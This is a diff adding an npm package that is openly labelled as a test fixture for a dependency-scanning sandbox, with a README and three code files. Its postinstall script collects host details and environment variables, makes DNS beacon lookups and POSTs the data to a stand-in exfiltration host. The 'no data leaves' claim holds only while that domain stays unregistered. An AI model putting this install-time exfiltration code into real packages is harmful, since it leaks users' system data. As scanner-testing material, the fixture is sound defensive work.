df-sandbox-test 1.0.0

package/README.md

@@ -0,0 +1,35 @@
+# df-sandbox-test
+
+**Security test fixture for the [Dependency Firewall](https://github.com/ihcap/df) sandbox scanner.**
+
+This package simulates the behaviour of a malicious npm package that exfiltrates environment data during `npm install`. It is completely harmless — the domains it tries to reach are not registered and no data leaves the machine — but it produces DNS queries that the Dependency Firewall sandbox scanner is designed to detect.
+
+## What it does during `postinstall`
+
+| Action | Domain / endpoint | Expected outcome |
+|---|---|---|
+| DNS lookup (C2 beacon) | `c2-beacon.df-sandbox-test.io` | NXDOMAIN |
+| DNS lookup (exfil fallback) | `exfil.df-sandbox-test.io` | NXDOMAIN |
+| HTTPS POST (data exfil) | `collect.df-sandbox-test.io:443/beacon` | Connection refused / NXDOMAIN |
+
+## Expected Dependency Firewall finding
+
+```json
+{
+  "scanner_id": "sandbox",
+  "severity": "high",
+  "category": "sandbox-network",
+  "description": "df-sandbox-test@1.0.0 attempted outbound DNS resolution: c2-beacon.df-sandbox-test.io, exfil.df-sandbox-test.io, collect.df-sandbox-test.io"
+}
+```
+
+## Usage
+
+```bash
+# Publish (once) to npm under your own account
+npm publish
+
+# Install through the Dependency Firewall proxy
+cd /your/test-project
+npm install --registry http://localhost:4873 df-sandbox-test
+```

package/index.js

@@ -0,0 +1,3 @@
+'use strict';
+// Intentionally empty — this package's payload is entirely in postinstall.js.
+module.exports = {};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "df-sandbox-test",
+  "version": "1.0.0",
+  "description": "Security test fixture for the Dependency Firewall sandbox scanner. Simulates malicious postinstall behaviour without doing any actual harm.",
+  "keywords": ["security", "test", "sandbox"],
+  "license": "MIT",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  }
+}

package/postinstall.js

@@ -0,0 +1,67 @@
+/**
+ * df-sandbox-test — postinstall.js
+ *
+ * This is a SECURITY TEST FIXTURE for the Dependency Firewall sandbox scanner.
+ * It simulates three classic malicious-postinstall patterns:
+ *
+ *   1. DNS exfiltration beacon  — looks up a fake C2 hostname.
+ *   2. HTTPS data exfiltration  — attempts an outbound HTTPS connection.
+ *   3. Environment collection   — gathers host info (logged locally only).
+ *
+ * None of these domains are registered. No data leaves the machine; in a
+ * properly sandboxed environment all connection attempts are blocked. The goal
+ * is to produce DNS queries that the Dependency Firewall sandbox scanner can
+ * detect and report.
+ */
+
+'use strict';
+
+const dns   = require('dns');
+const https = require('https');
+const os    = require('os');
+
+// ── 1. Collect environment info (mirrors what real malware does) ─────────────
+const payload = JSON.stringify({
+  host:     os.hostname(),
+  platform: os.platform(),
+  arch:     os.arch(),
+  cwd:      process.cwd(),
+  node:     process.version,
+  env: {
+    PATH:    process.env.PATH,
+    HOME:    process.env.HOME,
+    USER:    process.env.USER,
+    CI:      process.env.CI,
+  },
+});
+
+// ── 2. DNS beacon — resolving a fake C2 domain triggers a DNS query ──────────
+// Even with NXDOMAIN the OS must send a UDP packet to the nameserver first.
+dns.lookup('c2-beacon.df-sandbox-test.io', (err) => {
+  if (err) process.stderr.write(`dns beacon: ${err.code}\n`);
+});
+
+// A second domain simulating a fallback C2.
+dns.lookup('exfil.df-sandbox-test.io', (err) => {
+  if (err) process.stderr.write(`dns exfil: ${err.code}\n`);
+});
+
+// ── 3. HTTPS exfiltration attempt ────────────────────────────────────────────
+// Real supply-chain malware (e.g. ua-parser-js, event-source-polyfill) POSTs
+// environment data to an attacker-controlled server during install.
+const req = https.request(
+  {
+    hostname: 'collect.df-sandbox-test.io',
+    port:     443,
+    path:     '/beacon',
+    method:   'POST',
+    headers:  { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) },
+    timeout:  3000,
+  },
+  (res) => process.stdout.write(`exfil: connected (status ${res.statusCode})\n`),
+);
+
+req.on('timeout', () => { req.destroy(); process.stderr.write('exfil: timed out\n'); });
+req.on('error',   (err) => process.stderr.write(`exfil: ${err.code}\n`));
+req.write(payload);
+req.end();